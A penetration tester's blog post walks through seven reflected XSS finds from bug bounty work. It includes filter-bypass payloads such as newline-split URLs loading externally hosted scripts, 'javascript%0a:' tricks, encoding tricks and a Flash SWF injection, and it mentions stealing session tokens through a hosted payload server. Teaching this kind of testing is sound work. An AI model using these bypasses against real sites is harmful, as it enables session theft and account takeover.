7 Reflected Cross-site Scripting (XSS)

7 Reflected XSS by Nijagaw
  • Nicodemo Gawronski
  • 13 Sep 2017


This blog post shows examples of reflected cross-site scripting that I found in the past few years while hunting for bugs for private customers and bug bounty programs. Some of these will seem basic to you (I am not trying to reinvent the wheel) but have made it to this list because they have taught me a lesson when I first started hunting for XSS few years back and up until now. Hopefully they will be helpful to you.

XSS 1 - No parameter, no party?

The following example shows an XSS where the application is sending a request without parameter even though one is expected. An automated scanner would have probably missed the vulnerability.

How to exploit it?

The original request was as follows:

xss without parameter 1

The application’s response is quite clear. UserID is null (empty). We haven’t specified a value for it.

xss without parameter 2

And we have XSS. The payload has not been encoded/filtered by the application and the content-type of the response displays HTML:

xss without parameter 3

Lesson learned - Fuzzing and Manual Testing

The fact that you don’t see a parameter, it doesn’t mean that the component doesn’t require one or two to work. In the previous example it was easy to find the missing parameter because the application told us. In other cases you won’t be this lucky. This is why you should learn how to fuzz an application. Fuzzing is the process of adding random and non-random parameters, value and data to a request to see if the application replies in an unexpected way. This can work for XSS but also for a lot more complex vulnerabilities. In the case of the above example, you would probably like to have a list of common parameters to be tested with Burp intruder unless you want to develop a tool for the purpose.

Furthermore, it is possible that an automated scanner would have marked this component as non-vulnerable. Make sure you don't rely on automated scanners too much :)

XSS 2 - Payload hosted externally and anti-XSS filter (go back up!)

This example is a weird one. User’s controlled data can be passed directly to the “src” attribute of a script tag. Blacklisting (aka recipe for disaster) was applied but it didn't work quite well.

The following request was submitted:

Reflected XSS within src tag 1

The following response was received:

Reflected XSS within src tag 2

From the request above you can see you are providing the following value:"/sections/lcm-sections/" and receiving back: "/sections/lcm-sections/lcm-sections_TOC.js"

We have to try to request a script from our website now. Usually when you are injecting into the “src” parameter of a script/iframe/object/embed tag from an external source you can do it in different ways:

  • http://yoursite.com/script.js (classic)
  • //yoursite.com/script.js (shorter, in case the web app doesn’t like the special character “:”. It will request the script via HTTP not HTTPS)
  • \\yoursite.com\script.js (same as above but the back slash instead of forward slash)
  • Others..

For this XSS, none of the above payloads would work because there is an anti-XSS filter in place blocking our payloads. If we tried to inject "//www.google.com" as example, we would receive the following response:

Reflected XSS within src tag 3

There is no sign of "//www.google.com". We do not know what triggers the anti-XSS filter, so how do we find out? Easy. Let’s inject one part of the payload at the time. First of all, we will inject something like “xxx”, which will be displayed in the response (in the “src” of the script), then we inject “www.google.com” which will be available in the response of the request but won’t request any payloads from www.google.com. Why? Because the application sees “www.google.com” as a folder of its site, like: http://www.site.com/scripts/www.google.com/ which is clearly not a folder hosted on the target site

If we inject "//www.google.com", the entire payload will be removed, telling us that the anti-XSS filter doesn’t like two consecutive slashes which are used to form a valid URL. We need to find a way to separate the slashes and at the same time making a valid URL that will request our externally hosted payload. How do we do it?

The solution is simple: there are some special characters that will be interpreted in specific ways by the browser and by web applications. There are several (some that probably only few people know about) and the most common are: %00, %01, %02, %03, %04, %04, %05, %06, %07, %08, %09, %0a, %0b, %0c, %0d, %0e, %0f

When you test you should try all of them and you will learn which ones work most of the time. In this case, we were lucky and the new line special character (%0a) worked in our favour (it didn’t trigger the web application anti-XSS filter and it is considered as valid "src" value).

So if we inject the payload “/%0a/www.google.com/xss.js”, the web application will request a non-existing script from Google. Now let’s use our site and the job is done.

Reflected XSS within src tag 4

As you can see the slashes are separated but the payload worked to display a popup. (I have obfuscated the IP address of my site).

In a similar example we had an anti-XSS filter which didn’t like our payload injected into a “href” parameter of an <a> tag. The standard payload is “javascript:alert(1);”. In our case the web application filter would simply remove “javascript:“. In order to bypass this filter, we added the newline character “%0a” and bypassed the filter (payload: “javascript%0a:alert(1);”).

Furthermore we had to add a comment at the end of the payload to make sure that the script would be considered correct and parsed. Javascript is very sensitive, if you have errors in your script it won’t probably run!

Our final payload was: javascript%0a:alert(1);//

The comment "//" was required because the web application added some characters at the end of the payload to form a URL.

Lesson learned - Hosted payloads

Having your own server can be very useful. You can store payloads that you use often (reuse your code), steal session tokens from the users of the site you are testing and much more than this!

XSS 3 - blacklisting alert() won't stop XSS (alert() != XSS-Free) (go back up!)

This is very stupid. I was tempted not to put this example but I have to do it. If you are a developer and you are not familiar with XSS, please know that blocking Javascript functions such as alert(), prompt(), confirm() won't stop cross-site scripting from happening. (Amen!)

The following screenshot shows the result of a GET request. The payload injected was "xxx'

Reflected XSS alert blacklisted 1

We can see that the component is vulnerable by adding a single character.

When we try to inject the simplest POC payload '-alert(1)-' we receive an error from the application. We have been stopped...

Reflected XSS alert blacklisted 2

...not quite.

The same happened with other standard payloads but if we tried to redirect the user to another site with Javascript, the payload worked without problems.

In order not break the script, our final payload is:

xxx', x : window.location.assign("https://www.google.com/"),//

Reflected XSS alert blacklisted 3

For sure other payloads would have worked the same way but why did we use that payload? The reason is simple. We noticed that appConfig is an array so by keeping the same structure, Javascript should be valid and executed without issues.

Lesson Learned - Blacklisting is broken

The fact that the alert() function or an HTML tag have been blacklisted doesn’t mean that all have and that you won’t be able to exploit the XSS you just found. Be creative and don’t stop at the first issue. Filters are often made poorly. Make sure you know what characters and functions have been blacklisted one character at the time.

XSS 4 - Payload within URL (Filter bypass) (go back up!)

The following example shows a case where the input validation mechanism would only check that the parameters of the request didn't contain characters used to build XSS payloads. Almost perfect.


Reflected XSS within URL 1


Reflected XSS within URL 2

Of course if we add anything after the question mark, we encounter the wrath of the application!!!

Everything added before the question mark can be used to trigger the XSS payload because sometimes PHP apps don't care about what is found between the file extension (.php) and the question mark (?)


Reflected XSS within URL 3


Reflected XSS within URL 4

Lesson Learned - No parameter? No problem.

Always test the URL itself. You might find that this is not validated and its value is appended to a variable in a script or it is added somewhere else within the response. When you test PHP applications, remember that it is often possible to append random data at the end of the URL like: http://www.example.com/news/article.php/random/data/blah/?parameter=1&par2=1

XSS 5 - 2 paremeters or 10? (go back up!)

The following example shows how reading Javascript code can be quite useful.

Reflected XSS no parameter 2nd example 1

As you can see our request has 2 parameters. It is a very simple request. Both parameters are not vulnerable. The “search-type” parameter is reflected into the page as “search_type”. How about all those lines above and below “search_type”? Could it be that they are valid parameters?

Let's copy them, place them in the URL and then send the request.

Reflected XSS no parameter 2nd example 2

As you can see the “CTid” parameter is not sanitised before being placed into the page! Well, I guess we have winner.

Reflected XSS no parameter 2nd example 3

Lesson Learned - Read code

If you don’t see the parameter in the URL, it doesn’t mean it is not somewhere else to be found. Always read the scripts within the application and try your luck, use your imagination and perhaps a fuzzer or a good wordlist.

XSS 6 - UTF encoding (go back up!)

This XSS is quite interesting one because it used UTF encoding and another trick to bypass the XSS filter. Furthermore this bug was found for a big private bug bounty program.

From the image you can see that our XSS filter doesn’t like the script tag but let’s insert angular brackets without encoding them.

Reflected XSS with Unicode 2

The following screenshots shows you that if you insert a random tag this is removed. So by inserting <<x>script src=x> the resulting string will be: <script src=x \>. The filter has not been bypassed yet.

Reflected XSS with Unicode 3

By inserting standard URL encoded angular brackets, the application simply leaves them encoded. They cannot be used to close the script tag and reopen another one. By using UTF encoded characters though this is made possible.

Reflected XSS with Unicode 4

And we have a filter bypass and XSS. The final working payload is:

Reflected XSS with Unicode 5

Lesson Learned - Try different encodings

UTF encoding can be very useful to trick web applications. Make sure you have several types of encoding in your payload’s list. Furthermore, as explained already, try not to use automated tools. Give it a try one character at the time and find a solution to the puzzle if there is any. In this case I had to put several pieces together in order to bypass the filter.

XSS 7 - Flash XSS Flashcanvas.swf (go back up!)

Flash XSS vulnerabilities are not the same as standard reflected XSS. They require few more steps to find the right way for exploitation.

An old version of PHPMyAdmin is shipped with a flash file called flashcanvas.swf which is vulnerable to XSS.

In order to decompile .swf files you will need a decompiler such as ffdec https://www.free-decompiler.com/flash/. FFDEC has a gui and can be also run from the command line.

After opening flashcanvas.swf, you can easily find parameters that are controlled by the user by looking for the keyword "loaderInfo.parameters.". In this case we found the parameter "id".

Flash XSS flashcanvas.swf 1

We store the value of the id parameter in objectId (objectId=loaderInfo.parameters.id). We can try now to close the function, catch the error as it is usually done for some flash XSS: http://TEST_VM:81/vulnerable/externalinterface/phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//

The explanation of the payload is as follows:

Flashcanvas.swf XSS payload explanation
Code Explanation
\" Used to escape the " sign. 
))} Close the first 2 brackets and the curly brackets of the “try” statement. “Try” in many languages can be used to try a function and deal with an error in case one happens.
catch(e){SOME JAVASCRIPT FUNCTION} After you have closed the try statement, you can add a catch(e) statement to intercept the error you know exists.
// You need to comment the rest of the function otherwise you’ll get another error and the function “try”+”catch” won’t be executed

The payload would not trigger the XSS. Why? Let’s go back to the function.

         command=new Command(context,canvasId);

We are assigning the URL parameter’s value to objectId and then we are assigning its value to canvasId. If you read the code you will notice we are calling the slice() function and do something to objectId: http://help.adobe.com/en_US/AS2LCR/Flash_10.0/help.html?content=00001554.html

The slice() is described as: It returns a string that includes the start character and all characters up to but not including the end character. The original String object is not modified. If the end parameter is not specified, the end of the substring is the end of the string. If the character indexed by start is the same as or to the right of the character indexed by end, the method returns an empty string

Slice(8) will slice the string stored in the variable, starting from the 8th position.

Since the value we are passing to the variable is less than 8 characters there will be nothing to slice and the function will return a NULL value.

Let’s try to give our variable an eight characters value.


Flash XSS flashcanvas.swf 2

Lesson learned - Decompile!

Flash XSS are destined to disappear. Flash will die soon. Meanwhile there are still sites using flash and even if reflected XSS are not paid much, decompiling and finding the right payload can be quite challenging and fun! Make sure you read the code before giving up.

Nicodemo Gawronski

My name is Nicodemo @nijagaw Gawronski. I am the founder of Code Grazer. Penetration tester during the day, bug hunter at night on bug bounty platforms such as Bugcrowd, Hackerone, Cobalt, Dvuln and Zerocopter. My experience in the field varies, covering web app and mobile application testing, internal network penetration testing (including wifi security assessment, firewall review, build review), IoT and hardware hacking, social engineering, phishing campaigns and last but not least programming.